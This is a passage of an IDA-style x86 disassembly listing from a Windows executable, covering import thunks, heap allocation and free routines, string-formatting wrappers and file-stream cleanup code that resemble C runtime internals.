; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484F7	proc near		; CODE XREF: sub_442B47+17p
					; sub_442B7E+18p ...
		jmp	dword_411EC0
sub_4484F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4484FD	proc near		; CODE XREF: sub_442BF2+17p
		jmp	dword_411EC4
sub_4484FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_448503	proc near		; CODE XREF: sub_442C29+8p
					; sub_443A14+EDp ...
		jmp	dword_411EC8
sub_448503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_448509	proc near		; CODE XREF: sub_442C29+1Bp
		jmp	dword_411ECC
sub_448509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44850F	proc near		; CODE XREF: DMN1:00442C92p
		jmp	dword_411ED0
sub_44850F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_448515	proc near		; CODE XREF: DMN1:00442CE1p
		jmp	dword_411ED4
sub_448515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44851B	proc near		; CODE XREF: DMN1:00442D02p
					; sub_44457E+5Cp ...
		jmp	dword_411ED8
sub_44851B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_448521	proc near		; CODE XREF: sub_443F6D+142p
					; sub_44457E+FCp ...
		jmp	dword_411EDC
sub_448521	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_448527	proc near		; CODE XREF: sub_443F6D+1DBp
					; sub_44457E+16Dp ...
		jmp	dword_411EE0
sub_448527	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44852D	proc near		; CODE XREF: sub_443F6D+1E4p
					; sub_44457E+176p ...
		jmp	dword_411EE4
sub_44852D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_448533	proc near		; CODE XREF: sub_44450F+23p
					; sub_44450F+4Bp
		jmp	dword_411EEC
sub_448533	endp

; ---------------------------------------------------------------------------
		db 2 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_44853B	proc near		; CODE XREF: sub_4424B3+15p
					; DMN1:00442576p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_0]
		mul	[esp+8+arg_4]
		mov	esi, eax
		push	esi
		call	sub_44999B
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_448562
		mov	edx, ebx
		mov	ecx, esi
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx


loc_448562:				; CODE XREF: sub_44853B+17j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_44853B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44856B	proc near		; CODE XREF: sub_4488EB+59p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		test	dword ptr [ebx], 80000000h
		jnz	short loc_448596
		call	sub_449B9B
		mov	dword ptr [eax], 16h
		jmp	loc_4488D8
; ---------------------------------------------------------------------------


loc_448596:				; CODE XREF: sub_44856B+19j
		mov	eax, [ebx]
		mov	edi, eax
		and	edi, 7FFFFFFFh
		lea	eax, [ebx-4]
		mov	[ebp+var_4], eax
		lea	ebx, [ebx+edi*4-4]
		lea	esi, [ebx+4]
		test	dword ptr [esi], 80000000h
		jnz	loc_448646
		mov	eax, [esi]
		lea	esi, [esi+eax*4-4]
		mov	eax, dword_4111E8
		cmp	[esi], eax
		ja	short loc_4485FB
		mov	eax, dword_4111E0
		cmp	[esi], eax
		ja	short loc_4485E3
		mov	eax, dword_4111DC
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_4485F6
; ---------------------------------------------------------------------------


loc_4485E3:				; CODE XREF: sub_44856B+64j
		mov	eax, dword_4111E4
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_4485F6:				; CODE XREF: sub_44856B+76j
		mov	eax, [ebp+var_10]
		jmp	short loc_44862C
; ---------------------------------------------------------------------------


loc_4485FB:				; CODE XREF: sub_44856B+5Bj
		mov	eax, dword_4111F0
		cmp	[esi], eax
		ja	short loc_448619
		mov	eax, dword_4111EC
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_44862C
; ---------------------------------------------------------------------------


loc_448619:				; CODE XREF: sub_44856B+97j
		mov	eax, dword_4111F4
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_44862C:				; CODE XREF: sub_44856B+8Ej
					; sub_44856B+ACj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [esi]
		add	edi, eax
		mov	[esi], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, esi
		sub	edx, eax
		mov	[edx+4], edi
		mov	ebx, esi


loc_448646:				; CODE XREF: sub_44856B+48j
		mov	eax, [ebp+var_4]
		test	dword ptr [eax], 80000000h
		jnz	loc_448772
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		add	edi, edx
		mov	edx, dword_4111E8
		cmp	[eax], edx
		ja	short loc_4486A5
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E0
		cmp	[eax], edx
		ja	short loc_448689
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111DC
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_4486A0
; ---------------------------------------------------------------------------


loc_448689:				; CODE XREF: sub_44856B+106j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E4
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_4486A0:				; CODE XREF: sub_44856B+11Cj
		mov	eax, [ebp+var_10]
		jmp	short loc_4486E2
; ---------------------------------------------------------------------------


loc_4486A5:				; CODE XREF: sub_44856B+F9j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111F0
		cmp	[eax], edx
		ja	short loc_4486CB
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111EC
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_4486E2
; ---------------------------------------------------------------------------


loc_4486CB:				; CODE XREF: sub_44856B+145j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111F4
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_4486E2:				; CODE XREF: sub_44856B+138j
					; sub_44856B+15Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		cmp	eax, [ebp+var_4]
		jnz	short loc_44872D
		mov	eax, [ebp+var_8]
		mov	dword_4111AC[eax*4], 0
		mov	eax, [ebp+var_8]
		cmp	dword_4111FC, eax
		jnz	short loc_448764
		jmp	short loc_448717
; ---------------------------------------------------------------------------


loc_448711:				; CODE XREF: sub_44856B+1BEj
		inc	dword_4111FC


loc_448717:				; CODE XREF: sub_44856B+1A4j
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_44872B
		cmp	eax, 7
		jl	short loc_448711


loc_44872B:				; CODE XREF: sub_44856B+1B9j
		jmp	short loc_448764
; ---------------------------------------------------------------------------


loc_44872D:				; CODE XREF: sub_44856B+189j
		mov	eax, [ebp+var_4]
		mov	eax, [eax-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111AC[eax*4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_448764
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	dword_4111AC[eax*4], edx


loc_448764:				; CODE XREF: sub_44856B+1A2j
					; sub_44856B:loc_44872Bj ...
		mov	[ebx], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi


loc_448772:				; CODE XREF: sub_44856B+E4j
		cmp	edi, dword_4111E8
		ja	short loc_4487AC
		cmp	edi, dword_4111E0
		ja	short loc_448794
		mov	eax, dword_4111DC
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_4487A7
; ---------------------------------------------------------------------------


loc_448794:				; CODE XREF: sub_44856B+215j
		mov	eax, dword_4111E4
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_4487A7:				; CODE XREF: sub_44856B+227j
		mov	eax, [ebp+var_10]
		jmp	short loc_4487DC
; ---------------------------------------------------------------------------


loc_4487AC:				; CODE XREF: sub_44856B+20Dj
		cmp	edi, dword_4111F0
		ja	short loc_4487C9
		mov	eax, dword_4111EC
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_4487DC
; ---------------------------------------------------------------------------


loc_4487C9:				; CODE XREF: sub_44856B+247j
		mov	eax, dword_4111F4
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_4487DC:				; CODE XREF: sub_44856B+23Fj
					; sub_44856B+25Cj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_C], eax
		jz	loc_4488D8
		cmp	[ebp+var_C], 0
		jl	short loc_448864
		mov	eax, [ebx-4]
		mov	[ebp+var_14], eax
		cmp	ebx, [ebp+var_14]
		jnz	short loc_448833
		mov	eax, [ebp+var_C]
		mov	dword_4111AC[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111FC, eax
		jnz	short loc_448864
		jmp	short loc_44881D
; ---------------------------------------------------------------------------


loc_448817:				; CODE XREF: sub_44856B+2C4j
		inc	dword_4111FC


loc_44881D:				; CODE XREF: sub_44856B+2AAj
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_448831
		cmp	eax, 7
		jl	short loc_448817


loc_448831:				; CODE XREF: sub_44856B+2BFj
		jmp	short loc_448864
; ---------------------------------------------------------------------------


loc_448833:				; CODE XREF: sub_44856B+28Fj
		mov	eax, [ebx-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111AC[eax*4]
		jnz	short loc_448864
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_18]
		mov	dword_4111AC[eax*4], edx


loc_448864:				; CODE XREF: sub_44856B+284j
					; sub_44856B+2A8j ...
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111AC[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_44889A
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, [ebp+var_8]
		mov	dword_4111AC[eax*4], ebx
		mov	eax, [ebp+var_8]
		cmp	dword_4111FC, eax
		jle	short loc_4488A3
		mov	eax, [ebp+var_8]
		mov	dword_4111FC, eax
		jmp	short loc_4488A3
; ---------------------------------------------------------------------------


loc_44889A:				; CODE XREF: sub_44856B+308j
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_4488A3:				; CODE XREF: sub_44856B+323j
					; sub_44856B+32Dj
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi
		mov	[ebx], edi
		mov	eax, [ebp+var_8]
		mov	dword_411200, eax
		mov	dword_4111AC[eax*4], ebx


loc_4488D8:				; CODE XREF: sub_44856B+26j
					; sub_44856B+27Aj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44856B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4488EB	proc near		; CODE XREF: sub_4424E1+Fp
					; DMN1:004425A3p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0044895E SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F88C
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_44895E
		lea	eax, [ebx-4]
		cmp	eax, dword_4111D4
		jbe	short loc_44892B
		cmp	eax, dword_4111D0
		jb	short loc_448934


loc_44892B:				; CODE XREF: sub_4488EB+36j
		push	ebx
		call	sub_449E2B
		pop	ecx
		jmp	short loc_44895E
; ---------------------------------------------------------------------------


loc_448934:				; CODE XREF: sub_4488EB+3Ej
		push	0
		call	sub_449F3B
		pop	ecx
		mov	[ebp+var_4], 0
		push	ebx
		call	sub_44856B
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_448955
		jmp	short loc_44895E
sub_4488EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_448955	proc near		; CODE XREF: sub_4488EB+63p
		push	0
		call	sub_449FBB
		pop	ecx
		retn
sub_448955	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4488EB


loc_44895E:				; CODE XREF: sub_4488EB+2Bj
					; sub_4488EB+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4488EB
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]
		mov	edi, ebx
		cmp	[edi+4], esi
		jnb	short loc_448991
		mov	esi, [edi+4]


loc_448991:				; CODE XREF: DMN1:0044898Cj
		push	esi
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [edi]
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	eax, [edi]
		add	eax, esi
		mov	[edi], eax
		sub	[edi+4], esi
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4489BB	proc near		; CODE XREF: DMN1:0044255Bp
					; DMN1:0044258Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4489D7
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0
		jmp	short loc_4489E7
; ---------------------------------------------------------------------------


loc_4489D7:				; CODE XREF: sub_4489BB+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		mov	[ebp+var_4], eax


loc_4489E7:				; CODE XREF: sub_4489BB+1Aj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset sub_407510
		call	sub_449FDB
		add	esp, 10h
		mov	ebx, eax
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx],	0
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4489BB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]
		push	0
		lea	eax, [ebp-4]
		push	eax
		push	esi
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	dword_411D98	; WriteConsoleA
		test	eax, eax
		jz	short loc_448A49
		cmp	[ebp-4], esi
		jnz	short loc_448A49
		mov	edi, ebx
		jmp	short loc_448A4B
; ---------------------------------------------------------------------------


loc_448A49:				; CODE XREF: DMN1:00448A3Ej
					; DMN1:00448A43j
		xor	edi, edi


loc_448A4B:				; CODE XREF: DMN1:00448A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448A5B	proc near		; CODE XREF: DMN1:0044259Bp
					; DMN1:004425B7p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_44A25B
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_448A74
		or	eax, 0FFFFFFFFh
		jmp	short loc_448A8C
; ---------------------------------------------------------------------------


loc_448A74:				; CODE XREF: sub_448A5B+12j
		lea	edi, [ebp+arg_4]
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	offset sub_4075B0
		call	sub_449FDB
		add	esp, 10h
		mov	esi, eax


loc_448A8C:				; CODE XREF: sub_448A5B+17j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_448A5B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+10h]
		push	ebx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		add	eax, ebx
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448ABB	proc near		; CODE XREF: DMN1:00442637p
					; sub_443A14+17Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	esi, [ebp+arg_8]
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407630
		call	sub_449FDB
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_448AE6
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+ebx], 0


loc_448AE6:				; CODE XREF: sub_448ABB+22j
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_448ABB	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448AFB	proc near		; CODE XREF: DMN1:0044265Cp
					; sub_444CA3+77p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00448B5F SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F898
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_449F3B
		pop	ecx
		mov	[ebp+var_4], 0
		call	sub_44A2BB
		push	0FFFFFFFFh
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44A31B
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_448B56
		jmp	short loc_448B5F
sub_448AFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_448B56	proc near		; CODE XREF: sub_448AFB+54p
		push	6
		call	sub_449FBB
		pop	ecx
		retn
sub_448B56	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448AFB


loc_448B5F:				; CODE XREF: sub_448AFB+59j
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448AFB
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]
		push	ebx
		push	esi
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		call	sub_448F5B
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_448B9F
		mov	edi, ebx
		jmp	short loc_448BA1
; ---------------------------------------------------------------------------


loc_448B9F:				; CODE XREF: DMN1:00448B99j
		xor	edi, edi


loc_448BA1:				; CODE XREF: DMN1:00448B9Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448BAB	proc near		; CODE XREF: DMN1:00442676p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407710
		call	sub_449FDB
		add	esp, 10h
		mov	ebx, eax
		pop	ebx
		pop	ebp
		retn
sub_448BAB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx


loc_448BDE:				; CODE XREF: DMN1:00448BF7j
		mov	eax, off_411374[ebx*4]
		test	eax, eax
		jz	short loc_448BF0
		push	eax
		call	sub_448D5B
		pop	ecx


loc_448BF0:				; CODE XREF: DMN1:00448BE7j
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_448BDE
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448BFB	proc near		; CODE XREF: sub_44A31B:loc_44A44Fp
					; sub_44A69B+B2p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00448C62 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8A4
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_449F3B
		pop	ecx
		mov	[ebp+var_4], 0
		cmp	dword_411060, 0
		jnz	short loc_448C4E
		mov	dword_411060, 1
		push	offset sub_407770
		call	sub_44A46B
		pop	ecx


loc_448C4E:				; CODE XREF: sub_448BFB+3Cj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_448C59
		jmp	short loc_448C62
sub_448BFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_448C59	proc near		; CODE XREF: sub_448BFB+57p
		push	6
		call	sub_449FBB
		pop	ecx
		retn
sub_448C59	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448BFB


loc_448C62:				; CODE XREF: sub_448BFB+5Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448BFB
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_448C7B	proc near		; CODE XREF: sub_448D5B+39p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		push	ebx
		call	sub_44A49B
		pop	ecx
		mov	esi, eax
		test	word ptr [ebx],	40h
		jz	short loc_448C9C
		mov	eax, [ebx+8]
		push	eax
		call	sub_4488EB
		pop	ecx


loc_448C9C:				; CODE XREF: sub_448C7B+15j
		mov	dword ptr [ebx+8], 0
		mov	eax, [ebx+4]
		test	eax, eax
		jl	short loc_448CB8
		push	eax
		call	sub_44A61B
		pop	ecx
		test	eax, eax
		jz	short loc_448CB8
		or	esi, 0FFFFFFFFh


loc_448CB8:				; CODE XREF: sub_448C7B+2Dj
					; sub_448C7B+38j
		mov	eax, [ebx+3Ch]
		test	eax, eax
		jz	short loc_448CDE
		push	eax
		call	sub_44928B
		pop	ecx
		test	eax, eax
		jz	short loc_448CCD
		or	esi, 0FFFFFFFFh


loc_448CCD:				; CODE XREF: sub_448C7B+4Dj
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_4488EB
		pop	ecx
		mov	dword ptr [ebx+3Ch], 0


loc_448CDE:				; CODE XREF: sub_448C7B+42j
		test	word ptr [ebx],	80h
		jz	short loc_448D0F
		xor	edi, edi


loc_448CE7:				; CODE XREF: sub_448C7B+89j
		cmp	ebx, off_411374[edi*4]
		jnz	short loc_448CFD
		mov	off_411374[edi*4], 0
		jmp	short loc_448D06
; ---------------------------------------------------------------------------


loc_448CFD:				; CODE XREF: sub_448C7B+73j
		inc	edi
		cmp	edi, 100h
		jb	short loc_448CE7


loc_448D06:				; CODE XREF: sub_448C7B+80j
		push	ebx
		call	sub_4488EB
		pop	ecx
		jmp	short loc_448D48
; ---------------------------------------------------------------------------


loc_448D0F:				; CODE XREF: sub_448C7B+68j
		mov	word ptr [ebx],	0
		or	dword ptr [ebx+4], 0FFFFFFFFh
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax


loc_448D48:				; CODE XREF: sub_448C7B+92j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_448C7B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448D5B	proc near		; CODE XREF: DMN1:0044267Fp
					; sub_444CA3+108p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00448DB1 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8B0
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_449F3B
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_448C7B
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_448DA8
		jmp	short loc_448DB1
sub_448D5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_448DA8	proc near		; CODE XREF: sub_448D5B+46p
		push	6
		call	sub_449FBB
		pop	ecx
		retn
sub_448DA8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448D5B


loc_448DB1:				; CODE XREF: sub_448D5B+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
